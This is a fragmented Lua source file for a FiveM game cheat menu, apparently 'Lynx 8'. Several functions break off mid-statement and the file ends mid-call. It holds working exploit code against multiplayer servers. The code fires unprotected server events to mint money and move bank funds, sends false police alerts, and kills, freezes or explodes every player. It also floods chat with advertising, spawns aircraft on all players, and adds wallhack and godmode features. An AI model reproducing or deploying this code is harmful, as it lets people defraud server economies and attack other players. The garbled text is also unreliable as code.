x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1),
true))
x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(G),
true))
distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2,
y2, z2, true))
headId = Citizen.InvokeNative(0xBFEFE3321A3F5015, ped,
GetPlayerName(G), false, false, '', false)
wantedLvl = GetPlayerWantedLevel(G)
if ch then
Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, true)
if wantedLvl then
Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7,
true)
Citizen.InvokeNative(0xCF228E2AA03099C3, headId,
wantedLvl)
else
Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7,
false)
end
else
Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 9, false)
Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, false)
end
if cg then
if not DoesBlipExist(blip) then
blip = AddBlipForEntity(ped)
SetBlipSprite(blip, 1)
Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
SetBlipNameToPlayerName(blip, G)
else
veh = GetVehiclePedIsIn(ped, false)
blipSprite = GetBlipSprite(blip)
if not GetEntityHealth(ped) then
if blipSprite ~= 274 then
SetBlipSprite(blip, 274)
Citizen.InvokeNative(0x5FBCA48327B914DF, blip,
false)
SetBlipNameToPlayerName(blip, G)
end
elseif veh then
vehClass = GetVehicleClass(veh)
vehModel = GetEntityModel(veh)
if vehClass == 15 then
if blipSprite ~= 422 then
SetBlipSprite(blip, 422)
Citizen.InvokeNative(0x5FBCA48327B914DF,
blip, false)
SetBlipNameToPlayerName(blip, G)
end
elseif vehClass == 16 then
if
vehModel == GetHashKey('besra') or vehModel
== GetHashKey('hydra') or
vehModel == GetHashKey('lazer')
then
if blipSprite ~= 424 then
SetBlipSprite(blip, 424)
function EnumeratePeds()
return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
end
function EnumerateVehicles()
return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
end
function EnumerateObjects()
return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
end
function RotationToDirection(cq)
local cr = cq.z * 0.0174532924
local cs = cq.x * 0.0174532924
local ct = math.abs(math.cos(cs))
return vector3(-math.sin(cr) * ct, math.cos(cr) * ct, math.sin(cs))
end
Citizen.CreateThread(
function()
while bm do
Citizen.Wait(0)
SetPlayerInvincible(PlayerId(), Godmode)
SetEntityInvincible(PlayerPedId(), Godmode)
SetEntityVisible(GetPlayerPed(), cz, 0)
ClearPlayerWantedLevel(PlayerId())
if SuperJump then
SetSuperJumpThisFrame(PlayerId(-1))
end
if InfStamina then
RestorePlayerStamina(PlayerId(-1), 1.0)
end
if chatspam then
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-Fuuck',
{0, 0x99, 255},
'/ooc Add me Fallen#0811'
)
TriggerServerEvent('_chat:messageEntered', 'Fallen#0811-
ImBaaaaaack', {0, 0x99, 255}, 'Add me Fallen#0811 , Dont Fake me')
end
if MagicBullet then
if IsPedShooting(PlayerPedId()) then
local c2 = GetPedImpact(GetPlayerPed(-1))
AddExplosion(c2.x, c2.y, c2.z, 4, 100.0, false, true, 0.0,
true)
end
end
SetVehicleOnGroundProperly(GetVehiclePedIsUsing(GetPlayerPed(-1), false))
end
else
time = 0
drawNotification('~h~Hidden Speed Caution Measures
Disabled')
speedmit = false
end
end
end
if PedGuardPlayer then
while PedGuardPlayer do
Citizen.Wait(140)
local i = 1
local entity = getEntity(PlayerId())
if IsPedInAnyVehicle(entity) then
TaskDriveBy(
pedlist[i],
entity,
pos.x,
pos.y,
pos.z,
200,
99,
0,
'FIRING_PATTERN_BURST_FIRE_DRIVEBY'
)
TaskShootAtEntity(
pedlist[i],
entity,
200,
'FIRING_PATTERN_BURST_FIRE_DRIVEBY'
)
makePedHostile(pedlist[i], entity, 0, 0)
TaskCombatPed(pedlist[i], entity, 0, 16)
elseif not IsPedInAnyVehicle(entity) then
makePedHostile(pedlist[i], entity, 0, 0)
TaskCombatPed(pedlist[i], entity, 0, 16)
elseif i == #pedlist then
i = 1
end
end
end
if crosshair then
ShowHudComponentThisFrame(14)
end
if crosshairc then
bp('~r~+', 0.495, 0.484)
end
if crosshairc2 then
bp('~r~.', 0.4968, 0.478)
end
if BananaBoom then
for i = 0, 128 do
if NetworkIsPlayerActive(i) then
local ped = GetPlayerPed(i)
local coords = GetEntityCoords(ped)
SetEntityHealth(PlayerPedId(), 0)
AddExplosion(coords.x, coords.y, coords.z, 4, 100.0, false,
true, 0.0)
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-BANANAPARTY',
{0, 0x99, 255},
'/ooc Yo add me Fallen#0811 , sup'
)
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-BANANAPARTY',
{0, 0x99, 255},
'Yo add me Fallen#0811 , WASSUUUH'
)
end
end
drawNotification('~r~Killed for Protection')
end
if BananaCrazy then
for i = 0, 256 do
if NetworkIsPlayerActive(i) then
local ped = GetPlayerPed(i)
local pos = GetEntityCoords(ped)
local pitch = GetEntityPitch(ped)
local roll = GetEntityRoll(ped)
local yaw = GetEntityRotation(ped).z
local xf = GetEntityForwardX(ped)
local yf = GetEntityForwardY(ped)
ob1 =
CreateObject('prop_container_01a', pos.x - (xf * 10),
pos.y - (yf * 10), pos.z - 1, 1, 1, 1)
SetEntityRotation(ob1, pitch, roll, yaw + 90)
SetEntityVisible(ob1, 0, 1, 1)
end
end
drawNotification('You Made A Mistake')
end
if BananaSpawn then
for i = 0, 256 do
if NetworkIsPlayerActive(i) then
local ped = GetPlayerPed(i)
local coords = GetEntityCoords(ped)
local vehiclehash = GetHashKey('deluxo')
RequestModel(vehiclehash)
CreateVehicle(vehiclehash, coords.x, coords.y, coords.z,
GetEntityHeading(ped), 1, 0)
SetEntityAsNoLongerNeeded(veh)
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-BANANAPARTY',
{0, 0x99, 255},
'/ooc Yo add me Fallen#0811'
)
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-BANANAPARTY',
{0, 0x99, 255},
'Yo add me Fallen#0811'
)
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-BANANAPARTY',
{0, 0x99, 255},
'/tweet Yo add me Fallen#0811'
)
end
end
end
if BananaAll then
for i = 0, 128 do
if NetworkIsPlayerActive(i) then
local ped = GetPlayerPed(i)
local coords = GetEntityCoords(ped)
local vehiclehash = GetHashKey('deluxo')
SetEntityHealth(PlayerPedId(), 0)
AddExplosion(coords.x, coords.y, coords.z, 4, 100.0, false,
true, 0.0)
RequestModel(vehiclehash)
CreateVehicle(vehiclehash, coords.x, coords.y, coords.z,
GetEntityHeading(ped), 1, 0)
SetEntityAsNoLongerNeeded(veh)
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-BANANAPARTY',
{0, 0x99, 255},
'/ooc Yo add me Fallen#0811 , Sup B'
)
TriggerServerEvent(
'_chat:messageEntered',
'Fallen#0811-BANANAPARTY',
{0, 0x99, 255},
'Yo add me Fallen#0811 , Sup B'
)
end
end
drawNotification('~r~Dead for protection')
end
if fastrun then
SetRunSprintMultiplierForPlayer(PlayerId(-1), 2.49)
SetPedMoveRateOverride(GetPlayerPed(-1), 2.15)
else
SetRunSprintMultiplierForPlayer(PlayerId(-1), 1.0)
SetPedMoveRateOverride(GetPlayerPed(-1), 1.0)
end
if VehicleGun then
local cA = 'Freight'
local bI = GetEntityCoords(GetPlayerPed(-1), true)
if IsPedInAnyVehicle(GetPlayerPed(-1), true) == false then
drawNotification('~g~Vehicle Gun Enabled!~n~~w~Use The ~b~AP
Pistol~n~~b~Aim ~w~and ~b~Shoot!')
GiveWeaponToPed(GetPlayerPed(-1),
GetHashKey('WEAPON_APPISTOL'), 999999, false, true)
SetPedAmmo(GetPlayerPed(-1), GetHashKey('WEAPON_APPISTOL'),
999999)
if GetSelectedPedWeapon(GetPlayerPed(-1)) ==
GetHashKey('WEAPON_APPISTOL') then
if IsPedShooting(GetPlayerPed(-1)) then
while not HasModelLoaded(GetHashKey(cA)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cA))
end
local veh =
CreateVehicle(
GetHashKey(cA),
bI.x + 5 * GetEntityForwardX(GetPlayerPed(-1)),
bI.y + 5 * GetEntityForwardY(GetPlayerPed(-1)),
bI.z + 2.0,
GetEntityHeading(GetPlayerPed(-1)),
true,
true
)
SetEntityAsNoLongerNeeded(veh)
SetVehicleForwardSpeed(veh, 150.0)
end
end
end
end
if DeleteGun then
local cB = getEntity(PlayerId(-1))
if IsPedInAnyVehicle(GetPlayerPed(-1), true) == false then
drawNotification(
'~g~Delete Gun Enabled!~n~~w~Use The ~b~Pistol~n~~b~Aim
~w~and ~b~Shoot ~w~To Delete!'
)
GiveWeaponToPed(GetPlayerPed(-1), GetHashKey('WEAPON_PISTOL'),
999999, false, true)
SetPedAmmo(GetPlayerPed(-1), GetHashKey('WEAPON_PISTOL'),
999999)
if GetSelectedPedWeapon(GetPlayerPed(-1)) ==
GetHashKey('WEAPON_PISTOL') then
if IsPlayerFreeAiming(PlayerId(-1)) then
if IsEntityAPed(cB) then
if IsPedInAnyVehicle(cB, true) then
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(GetVehiclePedIsIn(cB, true), 1, 1)
DeleteEntity(GetVehiclePedIsIn(cB, true))
SetEntityAsMissionEntity(cB, 1, 1)
DeleteEntity(cB)
drawNotification('~g~Deleted!')
end
else
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(cB, 1, 1)
DeleteEntity(cB)
drawNotification('~g~Deleted!')
end
end
else
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(cB, 1, 1)
DeleteEntity(cB)
drawNotification('~g~Deleted!')
end
end
end
end
end
end
if fuckallcars then
for as in EnumerateVehicles() do
if not IsPedAPlayer(GetPedInVehicleSeat(as, -1)) then
SetVehicleHasBeenOwnedByPlayer(as, false)
SetEntityAsMissionEntity(as, false, false)
StartVehicleAlarm(as)
DetachVehicleWindscreen(as)
SmashVehicleWindow(as, 0)
SmashVehicleWindow(as, 1)
SmashVehicleWindow(as, 2)
SmashVehicleWindow(as, 3)
SetVehicleTyreBurst(as, 0, true, 1000.0)
SetVehicleTyreBurst(as, 1, true, 1000.0)
SetVehicleTyreBurst(as, 2, true, 1000.0)
SetVehicleTyreBurst(as, 3, true, 1000.0)
SetVehicleTyreBurst(as, 4, true, 1000.0)
SetVehicleTyreBurst(as, 5, true, 1000.0)
SetVehicleTyreBurst(as, 4, true, 1000.0)
SetVehicleTyreBurst(as, 7, true, 1000.0)
SetVehicleDoorBroken(as, 0, true)
SetVehicleDoorBroken(as, 1, true)
SetVehicleDoorBroken(as, 2, true)
SetVehicleDoorBroken(as, 3, true)
SetVehicleDoorBroken(as, 4, true)
SetVehicleDoorBroken(as, 5, true)
SetVehicleDoorBroken(as, 6, true)
SetVehicleDoorBroken(as, 7, true)
SetVehicleLights(as, 1)
Citizen.InvokeNative(0x1FD09E7390A74D54, as, 1)
SetVehicleNumberPlateTextIndex(as, 5)
SetVehicleNumberPlateText(as, 'LynxMenu')
SetVehicleDirtLevel(as, 10.0)
SetVehicleModColor_1(as, 1)
SetVehicleModColor_2(as, 1)
SetVehicleCustomPrimaryColour(as, 255, 51, 255)
SetVehicleCustomSecondaryColour(as, 255, 51, 255)
SetVehicleBurnout(as, true)
end
end
end
if destroyvehicles then
for vehicle in EnumerateVehicles() do
if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
NetworkRequestControlOfEntity(vehicle)
SetVehicleUndriveable(vehicle, true)
SetVehicleEngineHealth(vehicle, 0)
end
end
end
if explodevehicles then
for vehicle in EnumerateVehicles() do
if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
NetworkRequestControlOfEntity(vehicle)
NetworkExplodeVehicle(vehicle, true, true, false)
end
end
end
if deletenearestvehicle then
for vehicle in EnumerateVehicles() do
if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
SetEntityAsMissionEntity(GetVehiclePedIsIn(vehicle, true),
1, 1)
DeleteEntity(GetVehiclePedIsIn(vehicle, true))
SetEntityAsMissionEntity(vehicle, 1, 1)
DeleteEntity(vehicle)
end
end
end
if freezeplayer then
ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
end
if freezeall then
for i = 0, 128 do
ClearPedTasksImmediately(GetPlayerPed(i))
end
end
if aimtest then
if IsPlayerFreeAiming(PlayerId()) then
local TargetPed = getEntity(PlayerId())
local TargetPos = GetEntityCoords(TargetPed)
local Exist = DoesEntityExist(TargetPed)
local Dead = IsPlayerDead(TargetPed)
GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(cC)
)))
cG = cG .. '\nVeh: ' .. cH
end
if espinfo and esp then
DrawText3D(x, y, z - 1.0, cG, a5.r, a5.g, a5.b)
end
if espbox and esp then
LineOneBegin = GetOffsetFromEntityInWorldCoords(cC, -
0.3, -0.3, -0.9)
LineOneEnd = GetOffsetFromEntityInWorldCoords(cC, 0.3,
-0.3, -0.9)
LineTwoBegin = GetOffsetFromEntityInWorldCoords(cC,
0.3, -0.3, -0.9)
LineTwoEnd = GetOffsetFromEntityInWorldCoords(cC, 0.3,
0.3, -0.9)
LineThreeBegin = GetOffsetFromEntityInWorldCoords(cC,
0.3, 0.3, -0.9)
LineThreeEnd = GetOffsetFromEntityInWorldCoords(cC, -
0.3, 0.3, -0.9)
LineFourBegin = GetOffsetFromEntityInWorldCoords(cC, -
0.3, -0.3, -0.9)
TLineOneBegin = GetOffsetFromEntityInWorldCoords(cC, -
0.3, -0.3, 0.8)
TLineOneEnd = GetOffsetFromEntityInWorldCoords(cC, 0.3,
-0.3, 0.8)
TLineTwoBegin = GetOffsetFromEntityInWorldCoords(cC,
0.3, -0.3, 0.8)
TLineTwoEnd = GetOffsetFromEntityInWorldCoords(cC, 0.3,
0.3, 0.8)
TLineThreeBegin = GetOffsetFromEntityInWorldCoords(cC,
0.3, 0.3, 0.8)
TLineThreeEnd = GetOffsetFromEntityInWorldCoords(cC, -
0.3, 0.3, 0.8)
TLineFourBegin = GetOffsetFromEntityInWorldCoords(cC, -
0.3, -0.3, 0.8)
ConnectorOneBegin =
GetOffsetFromEntityInWorldCoords(cC, -0.3, 0.3, 0.8)
ConnectorOneEnd = GetOffsetFromEntityInWorldCoords(cC,
-0.3, 0.3, -0.9)
ConnectorTwoBegin =
GetOffsetFromEntityInWorldCoords(cC, 0.3, 0.3, 0.8)
ConnectorTwoEnd = GetOffsetFromEntityInWorldCoords(cC,
0.3, 0.3, -0.9)
ConnectorThreeBegin =
GetOffsetFromEntityInWorldCoords(cC, -0.3, -0.3, 0.8)
ConnectorThreeEnd =
GetOffsetFromEntityInWorldCoords(cC, -0.3, -0.3, -0.9)
ConnectorFourBegin =
GetOffsetFromEntityInWorldCoords(cC, 0.3, -0.3, 0.8)
ConnectorFourEnd = GetOffsetFromEntityInWorldCoords(cC,
0.3, -0.3, -0.9)
DrawLine(
LineOneBegin.x,
LineOneBegin.y,
LineOneBegin.z,
LineOneEnd.x,
LineOneEnd.y,
LineOneEnd.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
LineTwoBegin.x,
LineTwoBegin.y,
LineTwoBegin.z,
LineTwoEnd.x,
LineTwoEnd.y,
LineTwoEnd.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
LineThreeBegin.x,
LineThreeBegin.y,
LineThreeBegin.z,
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
LineFourBegin.x,
LineFourBegin.y,
LineFourBegin.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
TLineOneBegin.x,
TLineOneBegin.y,
TLineOneBegin.z,
TLineOneEnd.x,
TLineOneEnd.y,
TLineOneEnd.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
TLineTwoBegin.x,
TLineTwoBegin.y,
TLineTwoBegin.z,
TLineTwoEnd.x,
TLineTwoEnd.y,
TLineTwoEnd.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
TLineThreeBegin.x,
TLineThreeBegin.y,
TLineThreeBegin.z,
TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
TLineFourBegin.x,
TLineFourBegin.y,
TLineFourBegin.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
ConnectorOneBegin.x,
ConnectorOneBegin.y,
ConnectorOneBegin.z,
ConnectorOneEnd.x,
ConnectorOneEnd.y,
ConnectorOneEnd.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
ConnectorTwoBegin.x,
ConnectorTwoBegin.y,
ConnectorTwoBegin.z,
ConnectorTwoEnd.x,
ConnectorTwoEnd.y,
ConnectorTwoEnd.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
ConnectorThreeBegin.x,
ConnectorThreeBegin.y,
ConnectorThreeBegin.z,
ConnectorThreeEnd.x,
ConnectorThreeEnd.y,
ConnectorThreeEnd.z,
a5.r,
a5.g,
a5.b,
255
)
DrawLine(
ConnectorFourBegin.x,
ConnectorFourBegin.y,
ConnectorFourBegin.z,
ConnectorFourEnd.x,
ConnectorFourEnd.y,
ConnectorFourEnd.z,
a5.r,
a5.g,
a5.b,
255
)
end
if esplines and esp then
DrawLine(cD, cE, cF, x, y, z, a5.r, a5.g, a5.b, 255)
end
end
end
end
if norecoil then
local cI = {
[453432689] = 1.0,
[3219281620] = 1.0,
[1593441988] = 1.0,
[584646201] = 1.0,
[2578377531] = 1.0,
[324215364] = 1.0,
[736523883] = 1.0,
[2024373456] = 1.0,
[4024951519] = 1.0,
[3220176749] = 1.0,
[961495388] = 1.0,
[2210333304] = 1.0,
[4208062921] = 1.0,
[2937143193] = 1.0,
[2634544996] = 1.0,
[2144741730] = 1.0,
[3686625920] = 1.0,
[487013001] = 1.0,
[1432025498] = 1.0,
[2017895192] = 1.0,
[3800352039] = 1.0,
[2640438543] = 1.0,
[911657153] = 1.0,
[100416529] = 1.0,
[205991906] = 1.0,
[177293209] = 1.0,
[856002082] = 1.0,
[2726580491] = 1.0,
[1305664598] = 1.0,
[2982836145] = 1.0,
[1752584910] = 1.0,
[1119849093] = 1.0,
[3218215474] = 1.0,
[1627465347] = 1.0,
[3231910285] = 1.0,
[-1768145561] = 1.0,
[3523564046] = 1.0,
[2132975508] = 1.0,
[-2066285827] = 1.0,
[137902532] = 1.0,
[2828843422] = 1.0,
[984333226] = 1.0,
[3342088282] = 1.0,
[1785463520] = 1.0,
[1672152130] = 0,
[1198879012] = 1.0,
[171789620] = 1.0,
[3696079510] = 1.0,
[1834241177] = 1.0,
[3675956304] = 1.0,
[3249783761] = 1.0,
[-879347409] = 1.0,
[4019527611] = 1.0,
[1649403952] = 1.0,
[317205821] = 1.0,
[125959754] = 1.0,
[3173288789] = 1.0
}
if IsPedShooting(PlayerPedId(-1)) and not
IsPedDoingDriveby(PlayerPedId(-1)) then
local _, cJ = GetCurrentPedWeapon(PlayerPedId(-1))
_, cAmmo = GetAmmoInClip(PlayerPedId(-1), cJ)
if cI[cJ] and cI[cJ] ~= 0 then
tv = 0
if GetFollowPedCamViewMode() ~= 4 then
repeat
Wait(0)
p = GetGameplayCamRelativePitch()
SetGameplayCamRelativePitch(p + 0.0, 0.0)
tv = tv + 0.0
until tv >= cI[cJ]
else
repeat
Wait(0)
p = GetGameplayCamRelativePitch()
if cI[cJ] > 0.0 then
SetGameplayCamRelativePitch(p + 0.0, 0.0)
tv = tv + 0.0
else
SetGameplayCamRelativePitch(p + 0.0, 0.0)
tv = tv + 0.0
end
until tv >= cI[cJ]
end
end
end
end
if VehGod and IsPedInAnyVehicle(PlayerPedId(-1), true) then
SetEntityInvincible(GetVehiclePedIsUsing(PlayerPedId(-1)), true)
end
if oneshot then
SetPlayerWeaponDamageModifier(PlayerId(-1), 100.0)
local cB = getEntity(PlayerId(-1))
if IsEntityAPed(cB) then
if IsPedInAnyVehicle(cB, true) then
if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
if IsControlJustReleased(1, 69) then
NetworkExplodeVehicle(GetVehiclePedIsIn(cB, true),
true, true, 0)
end
else
if IsControlJustReleased(1, 142) then
NetworkExplodeVehicle(GetVehiclePedIsIn(cB, true),
true, true, 0)
end
end
end
elseif IsEntityAVehicle(cB) then
if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
if IsControlJustReleased(1, 69) then
NetworkExplodeVehicle(cB, true, true, 0)
end
else
if IsControlJustReleased(1, 142) then
NetworkExplodeVehicle(cB, true, true, 0)
end
end
end
else
SetPlayerWeaponDamageModifier(PlayerId(-1), 1.0)
end
if BlowDrugsUp then
Citizen.CreateThread(
function()
TriggerServerEvent(
'esx_drugs:startHarvestWeed'
)
TriggerServerEvent(
'esx_drugs:startHarvestCoke'
)
TriggerServerEvent(
'esx_drugs:startHarvestMeth'
)
TriggerServerEvent(
'esx_drugs:startTransformOpium'
)
TriggerServerEvent(
'esx_drugs:startTransformWeed'
)
TriggerServerEvent(
'esx_drugs:startTransformCoke'
)
TriggerServerEvent(
'esx_drugs:startTransformMeth'
)
TriggerServerEvent(
'esx_drugs:startTransformOpium'
)
TriggerServerEvent(
'esx_drugs:startSellWeed'
)
TriggerServerEvent(
'esx_drugs:startSellCoke'
)
TriggerServerEvent(
'esx_drugs:startSellMeth'
)
TriggerServerEvent(
'esx_drugs:startSellOpium'
)
Citizen.Wait(1000)
end
)
end
if blowall then
for by = 0, 9 do
TriggerServerEvent(
'_chat:messageEntered',
'^13^24^3B^4y^5T^6e ^1C^2o^3m^4m^5u^6n^7i^1t^2y',
{141, 211, 255},
'^' ..
by ..
'Lynx 8 ~ www.lynxmenu.com'
)
end
for i = 0, 128 do
Citizen.Wait(500)
AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true,
false, 100000.0)
AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true,
false, true)
end
end
if crosshair then
ShowHudComponentThisFrame(14)
end
if ci then
local cK = false
local cL = 130
local cM = 0
for G = 0, 128 do
if NetworkIsPlayerActive(G) and GetPlayerPed(G) ~=
GetPlayerPed(-1) then
ped = GetPlayerPed(G)
blip = GetBlipFromEntity(ped)
x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1),
true))
x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(G),
true))
distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1,
x2, y2, z2, true))
if cK then
if NetworkIsPlayerTalking(G) then
local cN = d(1.0)
DrawText3D(
x2,
y2,
z2 + 1.2,
GetPlayerServerId(G) .. ' | ' ..
GetPlayerName(G),
cN.r,
cN.g,
cN.b
)
else
DrawText3D(
x2,
y2,
z2 + 1.2,
GetPlayerServerId(G) .. ' | ' ..
GetPlayerName(G),
255,
255,
255
)
end
end
if distance < cL then
if not cK then
if NetworkIsPlayerTalking(G) then
local cN = d(1.0)
DrawText3D(
x2,
y2,
z2 + 1.2,
GetPlayerServerId(G) .. ' | ' ..
GetPlayerName(G),
cN.r,
cN.g,
cN.b
)
else
DrawText3D(
x2,
y2,
z2 + 1.2,
GetPlayerServerId(G) .. ' | ' ..
GetPlayerName(G),
255,
255,
255
)
end
end
end
end
end
end
if showCoords then
x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
roundx = tonumber(string.format('%.2f', x))
roundy = tonumber(string.format('%.2f', y))
roundz = tonumber(string.format('%.2f', z))
bp('~r~X:~s~ ' .. roundx, 0.05, 0.00)
bp('~r~Y:~s~ ' .. roundy, 0.11, 0.00)
bp('~r~Z:~s~ ' .. roundz, 0.17, 0.00)
end
function carthieftroll()
for i = 0, 128 do
local cO = GetEntityCoords(GetPlayerPed(i))
TriggerServerEvent('esx_carthief:alertcops', cO.x, cO.y, cO.z)
end
end
function automaticmoneyesx()
Citizen.CreateThread(
function()
local f =
KeyboardInput(
'Warning, this value can be multiplied!!!',
'',
100
)
if f ~= '' then
local cP = KeyboardInput('Are you sure? y/n', '', 0)
if cP == 'y' then
drawNotification(
'~h~~g~Testing all ~y~ESX ~g~scripts~s~.'
)
TriggerServerEvent('esx_carthief:pay', f)
TriggerServerEvent(
'esx_jobs:caution',
'give_back',
f
)
TriggerServerEvent(
'esx_fueldelivery:pay',
f
)
TriggerServerEvent('esx_carthief:pay', f)
TriggerServerEvent(
'esx_godirtyjob:pay',
f
)
TriggerServerEvent('esx_pizza:pay', f)
TriggerServerEvent('esx_ranger:pay', f)
TriggerServerEvent(
'esx_garbagejob:pay',
f
)
TriggerServerEvent(
'esx_truckerjob:pay',
f
)
TriggerServerEvent(
'AdminMenu:giveBank',
f
)
TriggerServerEvent(
'AdminMenu:giveCash',
f
)
TriggerServerEvent(
'esx_gopostaljob:pay',
f
)
TriggerServerEvent(
'esx_banksecurity:pay',
f
)
TriggerServerEvent(
'esx_slotmachine:sv:2',
f
)
elseif cP == 'n' then
drawNotification(
'~h~~r~Operation cancelled~s~.'
)
else
drawNotification(
'~h~~r~Invalid Confirmation~s~.'
)
drawNotification(
'~h~~r~Operation cancelled~s~.'
)
end
end
end
)
end
function vrpdestroy()
Citizen.CreateThread(
function()
for by = 0, 9 do
TriggerServerEvent(
'_chat:messageEntered',
'^13^24^3B^4y^5T^6e ^1C^2o^3m^4m^5u^6n^7i^1t^2y',
{141, 211, 255},
'^' ..
by ..
'Lynx 8 ~ www.lynxmenu.com'
)
end
TriggerServerEvent(
'lscustoms:payGarage',
{costs = -99999999}
)
TriggerServerEvent(
'vrp_slotmachine:server:2',
999999999
)
TriggerServerEvent('Banca:deposit', 999999999)
TriggerServerEvent('bank:deposit', 999999999)
local cQ = GetPlayerServerId(PlayerId())
for i = 0, 128 do
TriggerEvent('bank:transfer', cQ, GetPlayerServerId(i),
99999999)
end
end
)
end
if bl then
esxdestroyv2()
nukeserver()
end
function esxdestroyv2()
Citizen.CreateThread(
function()
TriggerServerEvent(
'esx_jobs:caution',
'give_back',
9999999999
)
TriggerServerEvent(
'esx_fueldelivery:pay',
9999999999
)
TriggerServerEvent('esx_carthief:pay', 9999999999)
TriggerServerEvent(
'esx_godirtyjob:pay',
9999999999
)
TriggerServerEvent('esx_pizza:pay', 9999999999)
TriggerServerEvent('esx_ranger:pay', 9999999999)
TriggerServerEvent(
'esx_garbagejob:pay',
9999999999
)
TriggerServerEvent(
'esx_truckerjob:pay',
9999999999
)
TriggerServerEvent(
'AdminMenu:giveBank',
9999999999
)
TriggerServerEvent(
'AdminMenu:giveCash',
9999999999
)
TriggerServerEvent(
'esx_gopostaljob:pay',
9999999999
)
TriggerServerEvent(
'esx_banksecurity:pay',
9999999999
)
TriggerServerEvent(
'esx_slotmachine:sv:2',
9999999999
)
for by = 0, 9 do
TriggerServerEvent(
'_chat:messageEntered',
'^13^24^3B^4y^5T^6e ^1C^2o^3m^4m^5u^6n^7i^1t^2y',
{141, 211, 255},
'^' ..
by ..
'Lynx 8 ~ www.lynxmenu.com'
)
end
for i = 0, 128 do
TriggerServerEvent(
'esx:giveInventoryItem',
GetPlayerServerId(i),
'item_money',
'money',
1254756
)
TriggerServerEvent(
'esx:giveInventoryItem',
GetPlayerServerId(i),
'item_money',
'money',
1254756
)
TriggerServerEvent(
'esx_billing:sendBill',
GetPlayerServerId(i),
'Purposeless',
'Lynx 8 ~ www.lynxmenu.com',
43161337
)
TriggerServerEvent(
'NB:recruterplayer',
GetPlayerServerId(i),
'police',
3
)
TriggerServerEvent(
'NB:recruterplayer',
i,
'police',
3
)
end
end
)
end
function nukeserver()
Citizen.CreateThread(
function()
local cR = 'Avenger'
local cS = 'CARGOPLANE'
local cT = 'luxor'
local cU = 'maverick'
local cV = 'blimp2'
while not HasModelLoaded(GetHashKey(cS)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cS))
end
while not HasModelLoaded(GetHashKey(cT)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cT))
end
while not HasModelLoaded(GetHashKey(cR)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cR))
end
while not HasModelLoaded(GetHashKey(cU)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cU))
end
while not HasModelLoaded(GetHashKey(cV)) do
Citizen.Wait(0)
RequestModel(GetHashKey(cV))
end
for by = 0, 9 do
TriggerServerEvent(
'_chat:messageEntered',
'^13^24^3B^4y^5T^6e ^1C^2o^3m^4m^5u^6n^7i^1t^2y',
{141, 211, 255},
'^' ..
by ..
'Lynx 8 ~ www.lynxmenu.com'
)
end
for i = 0, 128 do
local cT =
CreateVehicle(GetHashKey(cR),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(cR),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(cR), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(cS),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(cS),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(cS), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(cT),
